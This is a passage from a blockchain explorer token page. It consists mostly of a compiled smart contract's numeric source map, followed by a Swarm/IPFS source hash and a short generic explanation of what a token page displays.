52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4557:127::-;4618:10;4613:3;4609:20;4606:1;4599:31;4649:4;4646:1;4639:15;4673:4;4670:1;4663:15;4689:416;4778:1;4815:5;4778:1;4829:270;4850:7;4840:8;4837:21;4829:270;;;4909:4;4905:1;4901:6;4897:17;4891:4;4888:27;4885:53;;;4918:18;;:::i;:::-;4968:7;4958:8;4954:22;4951:55;;;4988:16;;;;4951:55;5067:22;;;;5027:15;;;;4829:270;;;4833:3;4689:416;;;;;:::o;5110:806::-;5159:5;5189:8;5179:80;;-1:-1:-1;5230:1:1;5244:5;;5179:80;5278:4;5268:76;;-1:-1:-1;5315:1:1;5329:5;;5268:76;5360:4;5378:1;5373:59;;;;5446:1;5441:130;;;;5353:218;;5373:59;5403:1;5394:10;;5417:5;;;5441:130;5478:3;5468:8;5465:17;5462:43;;;5485:18;;:::i;:::-;-1:-1:-1;;5541:1:1;5527:16;;5556:5;;5353:218;;5655:2;5645:8;5642:16;5636:3;5630:4;5627:13;5623:36;5617:2;5607:8;5604:16;5599:2;5593:4;5590:12;5586:35;5583:77;5580:159;;;-1:-1:-1;5692:19:1;;;5724:5;;5580:159;5771:34;5796:8;5790:4;5771:34;:::i;:::-;5841:6;5837:1;5833:6;5829:19;5820:7;5817:32;5814:58;;;5852:18;;:::i;:::-;5890:20;;5110:806;-1:-1:-1;;;5110:806:1:o;5921:140::-;5979:5;6008:47;6049:4;6039:8;6035:19;6029:4;6008:47;:::i;6066:168::-;6139:9;;;6170;;6187:15;;;6181:22;;6167:37;6157:71;;6208:18;;:::i;6239:356::-;6441:2;6423:21;;;6460:18;;;6453:30;6519:34;6514:2;6499:18;;6492:62;6586:2;6571:18;;6239:356::o;6600:127::-;6661:10;6656:3;6652:20;6649:1;6642:31;6692:4;6689:1;6682:15;6716:4;6713:1;6706:15;7084:251;7154:6;7207:2;7195:9;7186:7;7182:23;7178:32;7175:52;;;7223:1;7220;7213:12;7175:52;7255:9;7249:16;7274:31;7299:5;7274:31;:::i;8261:306::-;8349:6;8357;8365;8418:2;8406:9;8397:7;8393:23;8389:32;8386:52;;;8434:1;8431;8424:12;8386:52;8463:9;8457:16;8447:26;;8513:2;8502:9;8498:18;8492:25;8482:35;;8557:2;8546:9;8542:18;8536:25;8526:35;;8261:306;;;;;:::o;10954:125::-;11019:9;;;11040:10;;;11037:36;;;11053:18;;:::i;11439:135::-;11478:3;11499:17;;;11496:43;;11519:18;;:::i;:::-;-1:-1:-1;11566:1:1;11555:13;;11439:135::o;11579:128::-;11646:9;;;11667:11;;;11664:37;;;11681:18;;:::i;11712:217::-;11752:1;11778;11768:132;;11822:10;11817:3;11813:20;11810:1;11803:31;11857:4;11854:1;11847:15;11885:4;11882:1;11875:15;11768:132;-1:-1:-1;11914:9:1;;11712:217::o;12336:980::-;12598:4;12646:3;12635:9;12631:19;12677:6;12666:9;12659:25;12703:2;12741:6;12736:2;12725:9;12721:18;12714:34;12784:3;12779:2;12768:9;12764:18;12757:31;12808:6;12843;12837:13;12874:6;12866;12859:22;12912:3;12901:9;12897:19;12890:26;;12951:2;12943:6;12939:15;12925:29;;12972:1;12982:195;12996:6;12993:1;12990:13;12982:195;;;13061:13;;-1:-1:-1;;;;;13057:39:1;13045:52;;13152:15;;;;13117:12;;;;13093:1;13011:9;12982:195;;;-1:-1:-1;;;;;;;13233:32:1;;;;13228:2;13213:18;;13206:60;-1:-1:-1;;;13297:3:1;13282:19;13275:35;13194:3;12336:980;-1:-1:-1;;;12336:980:1:o
Swarm Source
ipfs://343f249817e07a8466051020f718a79543d16c427d36c60e501783a77d4f1e36
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.